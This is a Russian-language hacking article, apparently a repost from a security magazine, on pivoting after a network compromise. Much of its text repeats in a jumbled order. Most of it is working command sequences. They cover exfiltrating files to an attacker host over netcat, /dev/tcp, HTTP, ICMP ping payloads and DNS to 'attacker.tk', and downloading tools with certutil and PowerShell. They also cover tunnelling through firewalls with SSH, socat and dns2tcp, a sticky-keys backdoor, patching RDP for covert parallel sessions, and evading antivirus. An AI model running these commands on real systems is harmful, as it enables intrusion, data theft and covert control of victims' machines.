Pivoting - это один из этапов взлома, когда атакующий создает для себя точку опоры в скомпрометированной системе, плацдарм для дальнейшего проникновения. Во многом постэксплуатация похожа на «экстремальное администрирование» и мало связана с информационной безопасностью. Но без этого этапа не обходится ни один взлом, иначе он попросту лишен смысла. В целом постэксплуатация обычно включает следующие последовательные шаги:
Pivoting направлен главным образом на обход сетевых экранов или прочих помех передаче данных между атакующим и жертвой, таких как фильтрация портов или NAT. И решать подобные проблемы можно не только пробросом портов или туннелированием. Организация GUI в среде Windows также может стать серьезной проблемой, так как некоторые программы не имеют консольного интерфейса.
С pivoting'ом можно столкнуться на любом этапе атаки — от проникновения во внутреннюю сеть, когда нужно преодолеть ограничения DMZ, до того момента, когда уже получены права администратора домена и нужно добраться до особо охраняемой локальной сети. Будем стараться использовать наименее подозрительные приемы, чтобы нас не спалили антивирусы, и при этом и наиболее универсальные — встроенные команды или портативный софт. Рассмотрим разные случаи pivoting'а — с правами администратора и без. Как обычно, на атакующей стороне используем Linux.
Передача файлов (инфильтрация и эксфильтрация)
Первая проблема, с которой атакующий сталкивается на этапе pivoting'а, — это передача файлов. Порой нужно залить на удаленный хост эксплоит поднятия привилегий, скачать какой-либо документ, дамп памяти, поднять прокси-сервер, наконец. Специфика передачи данных обусловлена необходимостью выполнить ее исключительно базовыми средствами ОС. Тут есть несколько вариантов.
Эксфильтрация через TCP
Классическая передача файлов c помощью netcat выглядит так:
То же самое, но обратное соединение:
Метод главным образом ориентирован на Linux. Однако даже на Linux не всегда присутствует netcat. В таком случае можно передать файлы с использованием bash:
Разумеется, мы можем выполнить передачу файлов и в обратном порядке — от victim к attacker.
Эксфильтрация через SMB
Самый простой вариант передачи файлов под Windows. Для быстрого запуска SMB-сервера используем Python-пакет impacket:
Эксфильтрация через HTTP
А это — самый простой вариант передачи файлов под Linux. Для быстрого старта веб-сервера в текущей папке используем встроенный модуль Python:
Часто HTTP — единственное окно в мир из DMZ, и в Windows тоже приходится им пользоваться, причем разными способами. Наиболее универсальный, но не самый красивый метод выглядит так:
Этот способ подразумевает отправку файла любого содержимого, но с расширением .txt. Если на удаленном хосте установлена Windows 7 или новее, проще использовать PowerShell:
Кроме того, если на хосте крутится более-менее свежая Windows 7, можно использовать очень полезную утилиту, к которой мы чуть позже вернемся еще не раз:
Помимо описанных методов, существует еще несколько, включая загрузку с помощью VBS или PowerShell, однако они более громоздки и используются на практике нечасто.
Эксфильтрация с использованием FTP
Способ хорошо подходит для Windows в случаях, когда SMB-порты фильтруются. Часто во внутренних сетях между VLAN'ами админы фильтруют порты 445/TCP, что добавляет атакующему проблем. Избавиться от них можно при помощи старого доброго протокола FTP. Для запуска FTP-сервера в текущей папке используем Python-пакет pyftpdlib:
Поскольку программа FTP интерактивная, на victim потребуется создать небольшой скрипт с командами:
Обрати внимание: при передаче логина и пароля пробел отсутствует.
Эксфильтрация с помощью TFTP
Достаточно экзотический способ передачи файлов, однако упомянуть о нем, наверное, стоит. Для запуска TFTP-сервера можно использовать классический atftpd, а можно Python-пакет ptftpd.
Эксфильтрация через ICMP
Если весь TCP запрещен, на помощь придет протокол ICMP. Этот метод подходит для эксфильтрации, то есть только для передачи данных в одну сторону — в сторону attacker.
Под Linux это можно сделать относительно просто:
В приведенном выше примере мы передаем только 4 байта за один пакет. Под Windows для этого используем PowerShell и любой из кучи готовых скриптов в интернете.
Эксфильтрация через DNS
Если дело дошло до DNS, значит, на атакуемом хосте фильтруется все. Или почти все. Любая изолированная внутренняя сеть как-то взаимодействует с внешним миром — с интернетом, например, для загрузки обновлений или отправки электронной почты. Поэтому DNS почти всегда работает на резолв внешних адресов. Очень часто никто не заморачивается составлением белого списка допустимых доменов, так что мы получаем вполне рабочий канал передачи данных в обе стороны.
Для эксфильтрации и инфильтрации через DNS воспользуемся готовыми скриптами. Здесь и во всех последующих разделах о DNS подразумевается, что мы делегировали себе зону attacker.tk. Запускаем кастомный DNS-сервер:
Запоминаем количество требуемых DNS-запросов. Для загрузки файла по DNS потребуется небольшой скрипт на VBS, так как он наиболее переносимый и будет работать на любой Windows. Перед запуском не забываем скорректировать количество DNS-запросов в цикле for. Запуск скрипта выполняется следующим образом:
Несмотря на то что мы получили возможность скачать любой файл и можем воспользоваться готовыми решениями вроде dnscat, бывает, что антивирусы портят жизнь, когда нужно всего лишь забрать какой-нибудь дамп LSASS со скомпрометированной машины. Поэтому используем аналогичные скрипты для эксфильтрации:
Под Linux действуем таким образом:
Метод с DNS всем хорош, но для передачи больших файлов он довольно медленный.
Эксфильтрация plaintext
Передать файлы в виде простого текста возможно почти всегда. Как правило, если у нас есть шелл, мы можем вставить в него достаточно большую порцию данных, используя буфер обмена. При этом данные должны быть представлены в текстовой форме. Иногда слишком больше порции данных передать невозможно. Поэтому в зависимости от размера передаваемого файла его следует сначала разделить на куски необходимых размеров:
В итоге получатся n файлов по 1 Мбайт (как в примере), начинающиеся на x*. В качестве метода трансформации будем использовать Base64:
Под Linux после завершения передачи куски файла могут быть соединены вместе:
Готово, файл собран из кусочков. В Windows все не так просто и для решения аналогичной задачи существуют разные приемы. Вот классический способ, подходящий для раритетных версий Windows:
Полученный на выходе bat-файл — это готовые команды, полностью состоящие из печатных символов. Для сборки из текстового представления (в данном случае Hex) в исходную двоичную используется встроенный компонент debug.exe, который присутствует только в 32-битных версиях Windows от XP до 7 включительно.
Более современный метод, работающий на Windows 7–10 и аналогичных серверных редакциях Windows:
В каждом из упомянутых случаев мы могли столкнуться с тем, что файл пришлось порезать на несколько кусков. Чтобы собрать получившиеся двоичные куски в один файл в Windows, нужно сделать следующее:
А если наоборот, надо выгрузить с victim на attacker двоичные файлы большого размера, например дамп памяти? Проще всего порезать файл будет с помощью 7zip (который не требует установки и может быть доставлен на машину с помощью двух файлов: 7z.exe и 7z.dll):
Затем полученные бинарные куски могут быть закодированы в Base64:
И переданы по соответствующему каналу.
Итак, с проблемой доставки файлов разобрались. Теперь мы можем передать все необходимые программы, которые потребуются нам дальше. Под Windows будем отдавать предпочтение portable-версиям. Под Linux предполагается использовать статически собранные программы, чтобы избежать проблем с версиями библиотек. Так как скомпрометированным может быть не только сервер, но и какой-нибудь роутер или иной девайс, желательно иметь статически собранные бинарники под разные архитектуры, хотя бы самые популярные: x86, ARM и MIPS.
Проброс портов
Наверное, самое простое в pivoting'е — это пробросить куда-нибудь порт. Вариантов простого проброса достаточно много. На самом деле для простых пробросов портов будет достаточно замечательной утилиты socat:
Простой проброс портов
Программа socat, кстати, портирована из Linux, поэтому там ее тоже можно задействовать, используя абсолютно аналогичный синтаксис. Вообще, возможности socat гораздо шире, чем простой редирект. К этой утилите мы еще вернемся.
Если на скомпрометированной машине у атакующего есть права администратора или root, то редирект можно выполнить средствами файрвола. На Windows это делается так:
На Linux так:
Local port forwarding
Говоря о пробросе портов, нельзя пройти мимо SSH, который представляет собой достаточно гибкое решение и часто используется для этой цели. На самом деле SSH выполняет не совсем обычный редирект. Он создает туннели, позволяя повторно использовать соединение — пробрасывать новое сетевое соединение внутри другого, уже установленного. Примечательно, что и сервер, и клиент могут выступать в роли звена, выполняющего проброс.
Подразумеваем, что на victim запущен SSH-сервер, вне зависимости от того, какая ОС там используется. Проброс выполняется следующим образом:
Проброс портов с использованием SSH
Remote port forwarding
Remote port forwarding отличается от локального проброса лишь тем, что сама процедура выполняется с SSH-сервера. В этом случае направление проброса будет противоположным установленному SSH-подключению.
Remote port forwarding может пригодиться, если нужно организовать канал эксфильтрации с victim через attacker. Например, чтобы установить нужные пакеты, скачав их через прокси на изолированном от интернета скомпрометированном хосте. Но чаще Remote port forwarding применяется, если на victim не запущен SSH-сервер или фильтруется порт. В таком случае мы можем все так же пробросить порт с attacker, но уже по инициативе victim.
Сперва запустим SSH-сервер у себя и создадим фиктивную учетную запись:
Чтобы неинтерактивно залогиниться по SSH, используем ключи:
А теперь создаем проброс по схеме back-connect:
Проброс по схеме back-connect
Подобный способ также поможет обойти файрвол или NAT. В Windows, где ты, скорее всего, не встретишь SSH-серверы, нам тоже придется использовать Remote port forwarding, применив для этого портативный клиент:
В итоге получаем конфигурацию, идентичную той, что показана на рисунке выше. На картинке видно, что в случае c Local Port Forwarding роль проброса играет клиент, а при Remote Port Forwarding — сервер.
Работая с
Для организации туннеля victim:6666 → attacker → target:8888 выполняем следующую команду:
Обход сразу двух файрволов
Атакующим часто приходится сталкиваться с хорошо изолированными VLAN, когда attacker и victim находятся в разных сетях за файрволом или NAT и не могут напрямую устанавливать соединения ни в ту, ни в другую сторону.
Attacker и victim находятся в разных сетях за файрволом или NAT
Никакой reverse shell или SSH-туннели нам тут не помогут. В качестве альтернативы можно организовать доступ на «третий» хост из другого VLAN, на который оба могут инициировать TCP-соединение.
Организация соединения через третий хост
Найти такой хост обычно не составляет проблемы. Разумеется, этот самый третий хост точно так же не может преодолеть файрвол и достучаться до attacker или victim. Для решения этой задачи используем следующий трюк:
Организация соединения с использованием промежуточного хоста
Важно инициировать первое подключение к 5555/tcp, поскольку socat выполняет вторую половину операций с сокетами (tcp-listen:6666) после установки соединения tcp-listen:5555. В итоге получается, что два входящих соединения связываются через pipe, и через этот pipe может пойти трафик в обход сразу двух файрволов или NAT.
Организация соединения с использованием промежуточного хоста
Важно инициировать первое подключение к 5555/tcp, поскольку socat выполняет вторую половину операций с сокетами (tcp-listen:6666) после установки соединения tcp-listen:5555. В итоге получается, что два входящих соединения связываются через pipe, и через этот pipe может пойти трафик в обход сразу двух файрволов или NAT.
Схема обхода файрволов и NAT
В результате мы получили доступ к порту 22 на машину target, которая пряталась за файрволом.
dns2tcp
Теперь рассмотрим тяжелый, но все же довольно характерный случай: из скомпрометированной сети нет доступа в интернет. Придется снова использовать DNS.
Утилита dns2tcp имеет версии для Windows и Linux и использует похожий на SSH синтаксис проброса портов. На серверной стороне у attacker в dns2tcpdrc мы указываем следующие настройки:
Запускаем:
Копируем на victim клиентскую часть. Для проброса трафика по маршруту victim:4444 → attacker → target:5555 запускаем утилиту со следующими параметрами:
Для проброса по маршруту attacker:4445 → victim → target:445 запускаем тулзу так:
Теперь через данный туннель можно организовать прокси или пробросить сессию meterpreter и забыть об отсутствии интернета. Двигаемся дальше.
Проксирование
Проброс портов имеет одно маленькое ограничение: это статическая операция, и мы делаем отдельный проброс для каждой связки ip:port. Как правило, это нужно лишь на начальной стадии, чтобы обойти файрвол. Но если надо организовать более полноценный и удобный доступ в сетевой сегмент через скомпрометированную машину, используется прокси.
3proxy
В простых ситуациях нет ничего лучше, чем использовать 3proxy. Утилиты из этого набора программ портативные, они не требуют установки и прав администратора. Тулзы прекрасно работают как на Windows, так и на Linux и легко кросс-компилируются. Для запуска SOCKS прокси-сервера используются следующие команды (под Linux и Windows соответственно):
Для запуска HTTP connect прокси-сервера используются следующие команды (под Linux и Windows соответственно):
Если антивирус съел 3proxy, можно попробовать утилиту из набора Nmap:
Если не помогло, то переходим к SSH.
SSH
Возвращаясь к SSH, нужно упомянуть один упущенный ранее момент. Если тебе не удалось получить привилегии root на скомпрометированной машине, сразу же возникает ряд проблем. Во-первых, мы должны знать пароль от текущей учетки, который известен далеко не всегда. Во-вторых, если SSH не запущен, то его запуск потребует прав root. Все это, к счастью, можно исправить следующим образом:
Патчим функции, отвечающие за аутентификацию:
Теперь собираем тулзу — желательно статически, чтобы избежать проблем с зависимостями:
Слегка меняем конфиг
Копируем и запускаем утилиту на victim:
Теперь SSH-сервер сможет работать в роли прокси-сервера без прав root и залогиниться на него мы сможем с любым паролем.
На Windows, где сервер SSH обычно отсутствует, можно использовать freeSSHd, который будет работать в роли прокси-сервера. Правда, для этого нам все же потребуются права администратора. FreeSSHd — это отличная альтернатива 3proxy и meterpreter, когда антивирус не дает запустить ничего подозрительного.
Рассмотрим типичный пример прохождения сетевого периметра. Вообразим, что получен доступ к серверу из DMZ. На такие серверы обычно пробрасываются только нужные порты, а значит, напрямую на прокси мы не подключимся. Вспоминаем про туннелирование портов:
Теперь attacker:2222 будет проброшен на victim:22. Через этот туннель мы организуем прокси:
Если все прошло успешно, то на attacker появится SOCKS-прокси на TCP-порту 3128. По сути, это туннель внутри туннеля.
SOCKS-прокси в качестве «туннеля внутри туннеля»
Если проблем с антивирусами нет, можно воспользоваться Metasploit, это будет немного проще:
Используем прокси
Чтобы использовать прокси на стороне атакующего, мы можем:
Этот вариант подходит почти для любого приложения, даже для такого, которое не поддерживает настройку прокси, так как подменяет библиотечные вызовы connect(), send() и recv(). Однако и тут есть нюансы: проксирование не поддерживают программы, генерирующие пакеты через raw-сокеты или не использующие библиотеку libc (то есть статически собранные).
Кроме того, мы можем делать прозрачное проксирование, для чего используется прокси redsocks. Для его настройки прописываем в
После этого можно запустить прокси:
Теперь можем напрямую посылать пакеты в интересующую нас сеть. Iptables прозрачно для нас перехватит их и направит на redsocks, который, в свою очередь, направит пакеты непосредственно на прокси-сервер. Однако использование raw-сокетов по-прежнему недопустимо, потому что они генерируются за пределами iptables и маршрутизации.
Проксирование все же имеет некоторые недостатки:
VPN-туннели
VPN-туннели призваны обеспечить атакующему полноценный доступ во внутреннюю сеть или изолированный VLAN и открыть возможность для дальнейшего комфортного продвижения. Все примеры использования туннелей требуют прав администратора или root.
VPN-туннель через TCP в одну команду (L3-туннель)
В Linux мы можем очень элегантно поднять туннель, не используя настраиваемый VPN-сервер:
Туннель создан. Теперь, чтобы превратить victim в gateway, нужно проделать следующее:
Готово, c этого момента мы можем направлять трафик во внутреннюю сеть как есть, используя только роутинг:
Стоит отметить, что, используя pppd, мы можем создавать туннель по инициативе любой из сторон (victim или attacker). Это значит, что мы получили возможность обойти проблемы с межсетевыми экранами. Для работы требуется поддержка ядра (модуль ppp_generic).
А вот еще один способ поднять туннель, используя IPIP:
VPN туннель через SSH (L2/L3-туннели)
Если на victim или attacker есть SSH-сервер, то этого достаточно, чтобы создать VPN. Сперва нужно разрешить подключение в
После этого можно создать подключение:
Для организации доступа в сеть L3-туннеля будет достаточно. Но если мы хотим не просто просканировать порты, а выполнять атаки, такие как ARP/NBNS/DHCP-spoofing, то потребуется L2-туннель. Для этого прописываем в
Перезапускаем SSH-сервер и выполняем подключение:
Как всегда, с L2-туннелями нужно быть очень осторожным: из-за малейшей ошибки при создании мостов удаленная машина уйдет в вечный офлайн.
VPN-туннели на Windows
Windows из коробки тоже поддерживает VPN (в варианте PPTP/L2TP). Более того, управлять можно из командной строки благодаря встроенному компоненту:
Конфиг для
Отключают VPN-соединения следующей командой:
Не стоит забывать про классический OpenVPN, который прекрасно работает и на Linux, и на Windows. При наличии прав администратора его использование не должно вызвать проблем.
VPN-туннель через ICMP
Если выход в интернет запрещен, но разрешены пинги, то можно воспользоваться hans и в две команды создать L3-туннель (172.16.0.1 на attacker и 172.16.0.10 на victim):
Клиентская сторона для Windows работает аналогичным образом, но для работы потребуется tap-интерфейс, который можно создать с помощью OpenVPN.
VPN-туннель через DNS
В последний раз возвращаемся к DNS. Если в настройках DNS разрешены резолвы произвольных доменов, что бывает достаточно часто, то с помощью iodine мы можем создать полноценный L3-туннель (172.16.0.1 на attacker и 172.16.0.2 на victim):
VPN-туннели можно организовать как напрямую между attacker и victim, так и сочетанием разных техник проброса портов. Например, мы можем вместо DNS-туннеля iodine использовать сочетание DNS2TCP + pppd.
Подводя итог под этим разделом, я бы добавил, что использование VPN-туннелей хоть и дает комфортный доступ в сеть, все же не обязательный этап в проникновении. Если это нельзя выполнить легко, то тратить время на траблшутинг нецелесообразно. Почти всегда достаточно старого доброго проксирования трафика.
Организация GUI
Очень много проблем при постэксплуатации создают GUI-программы. Несмотря на то что мы всегда предпочитаем командную строку, от GUI невозможно полностью избавиться.
В Linux в ходе постэксплуатации, как правило, крайне редко требуется GUI — почти все программы имеют CLI-интерфейс, а система обычно выступает в роли сервера. Да и сама ОС предлагает достаточно гибкие решения для предоставления GUI.
Другое дело с Windows. У подавляющего большинства программ просто нет консольного интерфейса. Настраивают систему во многом с использованием GUI. То же относится и к некоторым хакерским инструментам под Windows. С одной стороны, в Windows всегда есть встроенный RDP для удаленных графических сеансов, но с другой — на клиентских версиях Windows, которых большинство, их использование приведет к блокировке сеанса текущего пользователя. Пользователь начнет в ответ выкидывать нашу сессию, и подобные «качели» в итоге вызовут тревогу у безопасников.
Быстрая GUI-сессия
Есть старый, но безотказный трюк под названием sticky keys, позволяющий запускать программы, не выполняя входа в Windows:
Рекомендую использовать этот метод именно через обработчик запуска программы, а не через замену файла
Если вдруг RDP окажется отключен, можно сделать следующее:
Также убедимся, что на удаленной машине нет NLA:
Описанный метод прост и красив — подключаемся по RDP и вместо логона жмем пять раз Shift.
Подключение по RDP с сохранением пользовательской сессии
Работает этот метод как на XP, так и на 10
Этот прием не раз выручал меня, когда требовалось запустить GUI-программу. Но увы, у него есть минус: так как полноценная RDP-сессия при запуске программ подобным образом не создается, у нас будет лишь пара минут, пока мы не отвалимся по тайм-ауту. Часто этого времени оказывается достаточно. Но если нет?
Параллельный доступ по RDP
Как было сказано, главная проблема — не заблокировать сессию залогиненного пользователя. Существует несколько решений для патчинга службы termservice и снятия ограничений на количество одновременных сессий. Наиболее проверенным вариантом оказался rdpwrap. Патчим RDP и делаем его мультисессионным одной командой:
Проект, увы, не поддерживает Windows XP, тут пригодится другое решение:
Теперь, используя временную локальную или доменную учетку, можно логиниться по RDP и открывать ярлыки на рабочем столе victim, пока тот работает в своей сессии и ничего не подозревает:
Выводы
Pivoting — это большой этап работ стадии постэксплуатации. Я постарался осветить связанные с ним задачи в хронологическом порядке:
Недостаточный pivoting может привести к досадной неудаче, когда был произведен взлом, получены требуемые права, но конечная цель не взята из-за каких-то технических формальностей — атакующий был за NAT и не мог принять обратный шелл или программу не удалось запустить из-за необходимости GUI, а пользователь постоянно завершал RDP-сеанс.
Видно, что многие приемы pivoting можно использовать без прав администратора или root.
Существует некий стереотип, что после получения доступа к системе следует обязательно поднять привилегии. Да, административные права — это, конечно, хорошо. Однако на моей практике было два показательных случая, когда проникновение происходило и с Windows, и с Linux, причем без прав суперпользователя. Быстрые попытки поднятия привилегий не привели к успеху, но так ли это было нужно? Даже без административных прав атакованные системы вполне можно было использовать для пересылки трафика во внутреннюю сеть, в которой найти уязвимый компонент и получить на нем полные права, как правило, не так уж и сложно. В результате в обоих случаях контроллеры доменов пали и вся внутренняя инфраструктура была захвачена.
Даже одна, самая незначительная RCE может привести к фатальным последствиям для всей инфраструктуры, всего бизнеса. Никакие файрволы и прочие превентивные меры не способны сдержать хакера, который уже успел проникнуть в сеть.
Автор @s0i37
источник: хакер.ру
- evasion, обход антивируса;
- persistence, закрепление (регистрация в автозагрузке, создание службы и так далее);
- pivoting, организация доступа, точки опоры;
- privilege escalation, повышение привилегий;
- gathering, сбор данных (паролей, документов и прочего);
- lateral movement, горизонтальное перемещение (получение доступа к другим хостам);
- прочие мероприятия для управления скомпрометированной ОС (получение GUI, установка кейлоггеров, сканирование портов);
- заметание следов (очистка логов, удаление созданных файлов).
Pivoting направлен главным образом на обход сетевых экранов или прочих помех передаче данных между атакующим и жертвой, таких как фильтрация портов или NAT. И решать подобные проблемы можно не только пробросом портов или туннелированием. Организация GUI в среде Windows также может стать серьезной проблемой, так как некоторые программы не имеют консольного интерфейса.
С pivoting'ом можно столкнуться на любом этапе атаки — от проникновения во внутреннюю сеть, когда нужно преодолеть ограничения DMZ, до того момента, когда уже получены права администратора домена и нужно добраться до особо охраняемой локальной сети. Будем стараться использовать наименее подозрительные приемы, чтобы нас не спалили антивирусы, и при этом и наиболее универсальные — встроенные команды или портативный софт. Рассмотрим разные случаи pivoting'а — с правами администратора и без. Как обычно, на атакующей стороне используем Linux.
- Символом # отмечены случаи, когда необходимы административные права на скомпрометированной ОС.
- Символом $ — случаи, когда возможен запуск без прав администратора.
Передача файлов (инфильтрация и эксфильтрация)
Первая проблема, с которой атакующий сталкивается на этапе pivoting'а, — это передача файлов. Порой нужно залить на удаленный хост эксплоит поднятия привилегий, скачать какой-либо документ, дамп памяти, поднять прокси-сервер, наконец. Специфика передачи данных обусловлена необходимостью выполнить ее исключительно базовыми средствами ОС. Тут есть несколько вариантов.
Эксфильтрация через TCP
Классическая передача файлов c помощью netcat выглядит так:
Код:
attacker> nc victim 1234 < file
victim$> nc -nv -lp 1234 > file
Код:
attacker> nc -nv -lp 1234 < file
victim$> nc attacker 1234 > file
Код:
attacker> nc -nv -lp 1234 < file
victim$> exec 3<> /dev/tcp/10.0.0.1/1234
victim$> cat <&3 > file
Эксфильтрация через SMB
Самый простой вариант передачи файлов под Windows. Для быстрого запуска SMB-сервера используем Python-пакет impacket:
Код:
attacker> sudo smbserver.py ro /usr/share/windows-binaries/
victim$> copy \\attacker\ro\nmap.exe
Эксфильтрация через HTTP
А это — самый простой вариант передачи файлов под Linux. Для быстрого старта веб-сервера в текущей папке используем встроенный модуль Python:
Код:
attacker> python -m SimpleHTTPServer 8080
victim$> wget http://attacker/socat -O /tmp/socat
Код:
victim$> hh.exe http://attacker/nmap.exe.txt
victim$> cd \users\victim\appdata\local\microsoft\windows\
victim$> dir /s nmap.exe*
victim$> cd путь_до_папки
victim$> move nmap.exe[1].txt nmap.exe
Код:
victim$> powershell -c (new-object System.Net.WebClient).DownloadFile('http://attacker/nmap.exe','C:\users\victim\desktop\nmap.exe')
Код:
victim$> certutil -urlcache -split -f http://attacker/nc.exe.txt nc.exe.txt
Эксфильтрация с использованием FTP
Способ хорошо подходит для Windows в случаях, когда SMB-порты фильтруются. Часто во внутренних сетях между VLAN'ами админы фильтруют порты 445/TCP, что добавляет атакующему проблем. Избавиться от них можно при помощи старого доброго протокола FTP. Для запуска FTP-сервера в текущей папке используем Python-пакет pyftpdlib:
Код:
attacker> sudo python -m pyftpdlib -p 21
Код:
victim$> echo open attacker 21 > ftp.txt
victim$> echo anonymous>> ftp.txt
victim$> echo pass>> ftp.txt
victim$> echo bin >> ftp.txt
victim$> echo GET nmap.exe >> ftp.txt
victim$> echo bye >> ftp.txt
victim$> ftp -s:ftp.txt
Эксфильтрация с помощью TFTP
Достаточно экзотический способ передачи файлов, однако упомянуть о нем, наверное, стоит. Для запуска TFTP-сервера можно использовать классический atftpd, а можно Python-пакет ptftpd.
Код:
attacker> sudo ptftpd -p 69 eth0 .
victim#> pkgmgr /iu:TFTP; tftp.exe -i 10.0.0.10 GET nc.exe
victim$> tftp attacker get /nc
Эксфильтрация через ICMP
Если весь TCP запрещен, на помощь придет протокол ICMP. Этот метод подходит для эксфильтрации, то есть только для передачи данных в одну сторону — в сторону attacker.
Под Linux это можно сделать относительно просто:
Код:
victim$> xxd -p -c 4 secret.bin | while read line; do ping -c 1 -p $line attacker; done
Эксфильтрация через DNS
Если дело дошло до DNS, значит, на атакуемом хосте фильтруется все. Или почти все. Любая изолированная внутренняя сеть как-то взаимодействует с внешним миром — с интернетом, например, для загрузки обновлений или отправки электронной почты. Поэтому DNS почти всегда работает на резолв внешних адресов. Очень часто никто не заморачивается составлением белого списка допустимых доменов, так что мы получаем вполне рабочий канал передачи данных в обе стороны.
Для эксфильтрации и инфильтрации через DNS воспользуемся готовыми скриптами. Здесь и во всех последующих разделах о DNS подразумевается, что мы делегировали себе зону attacker.tk. Запускаем кастомный DNS-сервер:
Код:
attacker> sudo ./dns_upload.py --udp --file dnscat.exe
Код:
victim$> cscript.exe dns_download.vbs
Код:
attacker> sudo ./dns_download.py --udp --file out.bin
victim$> cscript.exe dns_upload.vbs c:\path\to\secret.bin attacker.tk
Код:
victim$> ./dns_download.sh attacker.tk 1080 /tmp/dnscat
Эксфильтрация plaintext
Передать файлы в виде простого текста возможно почти всегда. Как правило, если у нас есть шелл, мы можем вставить в него достаточно большую порцию данных, используя буфер обмена. При этом данные должны быть представлены в текстовой форме. Иногда слишком больше порции данных передать невозможно. Поэтому в зависимости от размера передаваемого файла его следует сначала разделить на куски необходимых размеров:
Код:
attacker> split -b $[1*1024*1024] nmap.zip
Код:
attacker> base64 -w 0 < xaa > xaa.txt
Код:
victim$> for i in x*; do base64 < $i > $i.txt; done
victim$> cat x*.txt > nmap.zip
Код:
attacker> wine exe2bat.exe someprog.exe commands.bat
Более современный метод, работающий на Windows 7–10 и аналогичных серверных редакциях Windows:
Код:
victim$> certutil -decode content_base64.txt nmap.exe
Код:
victim$> type xaa.bin xab.bin xac.bin > 1.exe
Код:
victim$> 7z a -v1m out.7z hugefile.bin
Код:
victim$> certutil -encode 1.bin 1.txt
Итак, с проблемой доставки файлов разобрались. Теперь мы можем передать все необходимые программы, которые потребуются нам дальше. Под Windows будем отдавать предпочтение portable-версиям. Под Linux предполагается использовать статически собранные программы, чтобы избежать проблем с версиями библиотек. Так как скомпрометированным может быть не только сервер, но и какой-нибудь роутер или иной девайс, желательно иметь статически собранные бинарники под разные архитектуры, хотя бы самые популярные: x86, ARM и MIPS.
Проброс портов
Наверное, самое простое в pivoting'е — это пробросить куда-нибудь порт. Вариантов простого проброса достаточно много. На самом деле для простых пробросов портов будет достаточно замечательной утилиты socat:
Код:
victim$> socat.exe tcp-listen:4445,fork tcp-connect:target:445
Простой проброс портов
Программа socat, кстати, портирована из Linux, поэтому там ее тоже можно задействовать, используя абсолютно аналогичный синтаксис. Вообще, возможности socat гораздо шире, чем простой редирект. К этой утилите мы еще вернемся.
Если на скомпрометированной машине у атакующего есть права администратора или root, то редирект можно выполнить средствами файрвола. На Windows это делается так:
Код:
victim#> netsh interface portproxy add v4tov4 listenport=4445 listenaddress=victim
connectport=445 connectaddress=target
Код:
victim#> iptables -t nat -A PREROUTING -p tcp --dport 4445 -j DNAT --to-destination target:445
Local port forwarding
Говоря о пробросе портов, нельзя пройти мимо SSH, который представляет собой достаточно гибкое решение и часто используется для этой цели. На самом деле SSH выполняет не совсем обычный редирект. Он создает туннели, позволяя повторно использовать соединение — пробрасывать новое сетевое соединение внутри другого, уже установленного. Примечательно, что и сервер, и клиент могут выступать в роли звена, выполняющего проброс.
Подразумеваем, что на victim запущен SSH-сервер, вне зависимости от того, какая ОС там используется. Проброс выполняется следующим образом:
Код:
attacker> ssh -N user@victim -L 4445:target:445
Проброс портов с использованием SSH
Remote port forwarding
Remote port forwarding отличается от локального проброса лишь тем, что сама процедура выполняется с SSH-сервера. В этом случае направление проброса будет противоположным установленному SSH-подключению.
Remote port forwarding может пригодиться, если нужно организовать канал эксфильтрации с victim через attacker. Например, чтобы установить нужные пакеты, скачав их через прокси на изолированном от интернета скомпрометированном хосте. Но чаще Remote port forwarding применяется, если на victim не запущен SSH-сервер или фильтруется порт. В таком случае мы можем все так же пробросить порт с attacker, но уже по инициативе victim.
Сперва запустим SSH-сервер у себя и создадим фиктивную учетную запись:
Код:
attacker> sudo /etc/init.d/ssh start
attacker> useradd -M -N -d /dev/null -s /bin/false proxy
attacker> passwd proxy
Код:
victim$> chown user priv_key
victim$> chmod 0400 priv_key
Код:
victim$> ssh -i priv_key proxy@attacker -N -R 4445:target:445 -o StrictHostKeyChecking=no
Проброс по схеме back-connect
Подобный способ также поможет обойти файрвол или NAT. В Windows, где ты, скорее всего, не встретишь SSH-серверы, нам тоже придется использовать Remote port forwarding, применив для этого портативный клиент:
Код:
victim> plink.exe -N -l proxy -pw passwd -R 4445:target:445 attacker -P 22
Работая с
metasploit, мы также можем выполнять пробросы, используя соединение между victim и attacker, то есть организовать туннелирование. Чтобы построить туннель attacker:4445 → victim → target:445, делаем следующее:
Код:
meterpreter> portfwd add -L 127.0.0.1 -l 4445 -r target -p 445
Код:
meterpreter> portfwd add -R -L target -l 8888 -p 6666
Обход сразу двух файрволов
Атакующим часто приходится сталкиваться с хорошо изолированными VLAN, когда attacker и victim находятся в разных сетях за файрволом или NAT и не могут напрямую устанавливать соединения ни в ту, ни в другую сторону.
Attacker и victim находятся в разных сетях за файрволом или NAT
Никакой reverse shell или SSH-туннели нам тут не помогут. В качестве альтернативы можно организовать доступ на «третий» хост из другого VLAN, на который оба могут инициировать TCP-соединение.
Организация соединения через третий хост
Найти такой хост обычно не составляет проблемы. Разумеется, этот самый третий хост точно так же не может преодолеть файрвол и достучаться до attacker или victim. Для решения этой задачи используем следующий трюк:
Код:
third$> socat tcp-listen:5555 tcp-listen:6666
victim$> socat tcp-connect:third:6666 tcp-connect:target:22
Организация соединения с использованием промежуточного хоста
Важно инициировать первое подключение к 5555/tcp, поскольку socat выполняет вторую половину операций с сокетами (tcp-listen:6666) после установки соединения tcp-listen:5555. В итоге получается, что два входящих соединения связываются через pipe, и через этот pipe может пойти трафик в обход сразу двух файрволов или NAT.
Организация соединения с использованием промежуточного хоста
Важно инициировать первое подключение к 5555/tcp, поскольку socat выполняет вторую половину операций с сокетами (tcp-listen:6666) после установки соединения tcp-listen:5555. В итоге получается, что два входящих соединения связываются через pipe, и через этот pipe может пойти трафик в обход сразу двух файрволов или NAT.
Схема обхода файрволов и NAT
В результате мы получили доступ к порту 22 на машину target, которая пряталась за файрволом.
dns2tcp
Теперь рассмотрим тяжелый, но все же довольно характерный случай: из скомпрометированной сети нет доступа в интернет. Придется снова использовать DNS.
Утилита dns2tcp имеет версии для Windows и Linux и использует похожий на SSH синтаксис проброса портов. На серверной стороне у attacker в dns2tcpdrc мы указываем следующие настройки:
Код:
listen = 1.2.3.4
port = 53
user = nobody
key = s3cr3t
chroot = /var/empty/dns2tcp/
domain = attacker.tk
Код:
attacker> sudo ./dns2tcpd -F -d3 -f dns2tcpdrc
Код:
victim$> dns2tcpc.exe -z attacker.tk -k s3cr3t -t 3 -L 4444:target:5555 8.8.8.8
Код:
victim$> dns2tcpc.exe -z attacker.tk -k s3cr3t -t 3 -R 4445:target:445 8.8.8.8
Проксирование
